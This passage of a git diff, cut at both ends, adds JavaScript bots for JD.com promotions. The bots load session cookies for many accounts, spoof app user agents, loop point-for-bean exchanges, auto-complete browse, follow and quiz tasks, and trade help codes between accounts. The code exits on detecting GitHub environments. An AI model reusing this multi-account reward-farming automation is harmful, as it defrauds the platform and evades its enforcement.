t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_car_exchange.js b/jd_car_exchange.js new file mode 100644 index 0000000000..1533970ef3 --- /dev/null +++ b/jd_car_exchange.js @@ -0,0 +1,146 @@ +/* +京东汽车兑换,500赛点兑换500京豆 +长期活动 + +活动入口:京东APP首页-京东汽车-屏幕右中部,车主福利 +活动网页地址:https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html#/journey + +更新地址:jd_car_exchange +已支持IOS, Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js + +============Quantumultx=============== +[task_local] +#京东汽车兑换 +0 0 * * * jd_car_exchange.js, tag=京东汽车兑换, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_redPacket.png, enabled=true + +================Loon============== +[Script] +cron "0 0 * * *" script-path=jd_car_exchange.js, tag=京东汽车兑换 + +===============Surge================= +京东汽车兑换 = type=cron,cronexp="0 0 * * *",wake-system=1,timeout=3600,script-path=jd_car_exchange.js + +============小火箭========= +京东汽车兑换 = type=cron,script-path=jd_car_exchange.js, cronexpr="0 0 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东汽车兑换'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://car-member.jd.com/api/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let j = 0; j < 20; ++j) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + console.log(`*********京东账号${$.index} ${$.UserName}*********`) + $.isLogin = true; + $.nickName = $.UserName; + message = ''; + await jdCar(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jdCar() { + await exchange() +} + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function exchange() { + return new Promise(resolve => { + $.post(taskUrl('v1/user/exchange/bean'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} user/exchange/bean API请求失败,请检查网路重试\n`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(`兑换结果:${JSON.stringify(data)}\n`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}${function_id}?timestamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "car-member.jd.com", + 'activityid': '39443aee3ff74fcb806a6f755240d127', + 'origin': 'https://h5.m.jd.com', + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/44bjzCpzH9GpspWeBzYSqBA7jEtP/index.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_carnivalcity.js b/jd_carnivalcity.js new file mode 100644 index 0000000000..53cc13a550 --- /dev/null +++ b/jd_carnivalcity.js @@ -0,0 +1,1116 @@ +/* +京东手机狂欢城 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#京东手机狂欢城 +5 0-18/6 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, tag=京东手机狂欢城, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +=====================Loon================ +[Script] +cron "5 0-18/6 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, tag=京东手机狂欢城 +====================Surge================ +京东手机狂欢城 = type=cron,cronexp=5 0-18/6 * * *,wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js +============小火箭========= +京东手机狂欢城 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_carnivalcity.js, cronexpr="5 0-18/6 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京东手机狂欢城'); +const notify = $.isNode() ? require('./sendNotify') : ''; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message = '', allMessage = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let shareCodes = [], shareCodesSelf = [], shareCodesHW = []; +const JD_API_HOST = 'https://api.m.jd.com/api'; +const activeEndTime = '2021/11/14 00:00:00+08:00';//活动结束时间 +let nowTime = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (nowTime > new Date(activeEndTime).getTime()) { + $.msg($.name, '活动已结束', `该活动累计获得京豆:${$.jingBeanNum}个\n请删除此脚本\n咱江湖再见`); + if ($.isNode()) await notify.sendNotify($.name + '活动已结束', `请删除此脚本\n咱江湖再见`); + return + } + + await updateShareCodesCDN(); // 获取助力池 + // 获取内部助力码 + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.canHelp = true;//能否助力 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + getUA() + await supportList();//助力情况 + await getHelp();//获取邀请码 + } + } + + // 先助力 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.index = i + 1; + $.canHelp = true;//能否助力 + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + getUA() + if (!shareCodesHW.length) { + await getShareCodesHW(); + } + if ($.updatePkActivityIdRes && $.updatePkActivityIdRes.length) { + shareCodes = [...new Set([...shareCodesSelf, ...shareCodesHW, ...$.updatePkActivityIdRes])] + } + console.log('助力排队:', shareCodes) + if ((cookiesArr && cookiesArr.length >= 1) && $.canHelp) { + console.log(`\n先自己账号内部相互邀请助力\n`); + for (let item of shareCodes) { + console.log(`\n${$.UserName} 去参助力 ${item}`); + const helpRes = await toHelp(item.trim()); + if (helpRes.data.status === 5) { + console.log(`助力机会已耗尽,跳出助力`); + $.canHelp = false; + break; + } + } + } + } + + // 主任务 + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = $.UserName; + $.jingBeanNum = 0;//累计获得京豆 + $.integralCount = 0;//累计获得积分 + $.integer = 0;//当天获得积分 + $.lasNum = 0;//当天参赛人数 + $.num = 0;//当天排名 + $.beans = 0;//本次运行获得京豆数量 + $.blockAccount = false;//黑号 + message = ''; + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + getUA() + await JD818(); + } + } + + if (allMessage) { + if ($.isNode()) { + await notify.sendNotify($.name, allMessage, {url: JD_API_HOST}); + $.msg($.name, '', allMessage); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function JD818() { + try { + await indexInfo();//获取任务 + if ($.blockAccount) return + await indexInfo(true);//获取任务 + await doHotProducttask();//做热销产品任务 + await doBrandTask();//做品牌手机任务 + await doBrowseshopTask();//逛好货街,做任务 + // await doHelp(); + await myRank();//领取往期排名奖励 + await getListRank(); + await getListIntegral(); + await getListJbean(); + await check();//查询抽奖记录(未兑换的,发送提醒通知); + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +async function doHotProducttask() { + $.hotProductList = $.hotProductList.filter(v => !!v && v['status'] === "1"); + if ($.hotProductList && $.hotProductList.length) console.log(`开始 【浏览热销手机产品】任务,需等待6秒`) + for (let item of $.hotProductList) { + await doBrowse(item['id'], "", "hot", "browse", "browseHotSku"); + await $.wait(1000 * 6); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} + +//做任务 API +function doBrowse(id = "", brandId = "", taskMark = "hot", type = "browse", logMark = "browseHotSku") { + $.browseId = '' + return new Promise(resolve => { + const body = { + "brandId": `${brandId}`, + "id": `${id}`, + "taskMark": `${taskMark}`, + "type": `${type}`, + "logMark": `${logMark}` + }; + const options = taskPostUrl('/khc/task/doBrowse', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doBrowse 做${taskMark}任务:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + $.browseId = data['data']['browseId'] || ""; + } else { + console.log(`doBrowse异常`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +//领取奖励 +function getBrowsePrize(browseId, brandId = '') { + return new Promise(resolve => { + const body = {"browseId": browseId, "brandId": `${brandId}`}; + const options = taskPostUrl('/khc/task/getBrowsePrize', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`getBrowsePrize 领取奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +// 关注 +function followShop(browseId, brandId = '') { + return new Promise(resolve => { + const body = {"id": `${browseId}`, "brandId": `${brandId}`}; + const options = taskPostUrl('/khc/task/followShop', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`followShop 领取奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function doBrandTask() { + for (let brand of $.brandList) { + await brandTaskInfo(brand['brandId']); + } +} + +function brandTaskInfo(brandId) { + const body = {"brandId": `${brandId}`}; + const options = taskPostUrl('/khc/index/brandTaskInfo', body) + $.skuTask = []; + $.shopTask = []; + $.meetingTask = []; + $.questionTask = {}; + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + if (data.code === 200) { + let brandId = data['data']['brandId']; + $.skuTask = data['data']['skuTask'] || []; + $.shopTask = data['data']['shopTask'] || []; + $.meetingTask = data['data']['meetingTask'] || []; + $.questionTask = data['data']['questionTask'] || []; + let flag = true + for (let sku of $.shopTask.filter(vo => !!vo && vo['status'] !== '4')) { + if (flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if (flag) flag = false + console.log(`开始浏览 1-F 关注 任务 ${sku['name']}`); + if (sku['status'] == 3) { + await followShop(sku['id'], brandId); + } else if (sku['status'] == 8) { + await doBrowse(sku['id'], brandId, "brand", "follow", "browseShop"); + await $.wait(1000 * 6); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } else { + console.log(`未知任务状态 ${sku['status']}`) + } + } + flag = true + for (let sku of $.skuTask.filter(vo => !!vo && vo['status'] !== '4')) { + if (flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if (flag) flag = false + console.log(`开始浏览 2-F 单品区 任务 ${sku['name']}`); + await doBrowse(sku['id'], brandId, "brand", "presell", "browseSku"); + await $.wait(1000 * 6); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + flag = true + for (let sku of $.meetingTask.filter(vo => !!vo && vo['status'] !== '4')) { + if (flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if (flag) flag = false + console.log(`开始浏览 3-F 综合区 任务 ${sku['name']},需等待10秒`); + await doBrowse(sku['id'], brandId, "brand", "meeting", "browseVenue"); + await $.wait(10500); + if ($.browseId) await getBrowsePrize($.browseId, brandId); + } + flag = true + if ($.questionTask.hasOwnProperty('id') && $.questionTask['result'] === '0') { + if (flag) console.log(`\n开始做 品牌手机 【${data['data']['brandName']}】 任务`) + if (flag) flag = false + console.log(`开始做答题任务 ${$.questionTask['question']}`); + let result = 0; + for (let i = 0; i < $.questionTask['answers'].length; i++) { + if ($.questionTask['answers'][i]['right']) { + result = i + 1;//正确答案 + } + } + if (result !== 0) { + await doQuestion(brandId, $.questionTask['id'], result); + } + } + } else { + console.log(`失败:${JSON.stringify(data)}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }); +} + +function doQuestion(brandId, questionId, result) { + return new Promise(resolve => { + const body = {"brandId": `${brandId}`, "questionId": `${questionId}`, "result": result}; + const options = taskPostUrl('/khc/task/doQuestion', body) + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + console.log(`doQuestion 领取答题任务奖励 结果:${data}`); + data = JSON.parse(data); + if (data && data['code'] === 200) { + if (data['data']['jingBean']) $.beans += data['data']['jingBean']; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +//逛好货街,做任务 +async function doBrowseshopTask() { + $.browseshopList = $.browseshopList.filter(v => !!v && v['status'] === "6"); + if ($.browseshopList && $.browseshopList.length) console.log(`\n开始 【逛好货街,做任务】,需等待10秒`) + for (let shop of $.browseshopList) { + await doBrowse(shop['id'], "", "browseShop", "browse", "browseShop"); + await $.wait(10000); + if ($.browseId) { + await getBrowsePrize($.browseId) + } + } +} + +function indexInfo(flag = false) { + const options = taskPostUrl(`/khc/index/indexInfo`, {}) + $.hotProductList = []; + $.brandList = []; + $.browseshopList = []; + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = $.toObj(data); + if (data.code === 200) { + $.hotProductList = data['data']['hotProductList'] || []; + $.brandList = data['data']['brandList'] || []; + $.browseshopList = data['data']['browseshopList'] || []; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }); +} + +//获取助力信息 +function supportList() { + const options = taskPostUrl('/khc/index/supportList', {}) + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.code === 200) { + 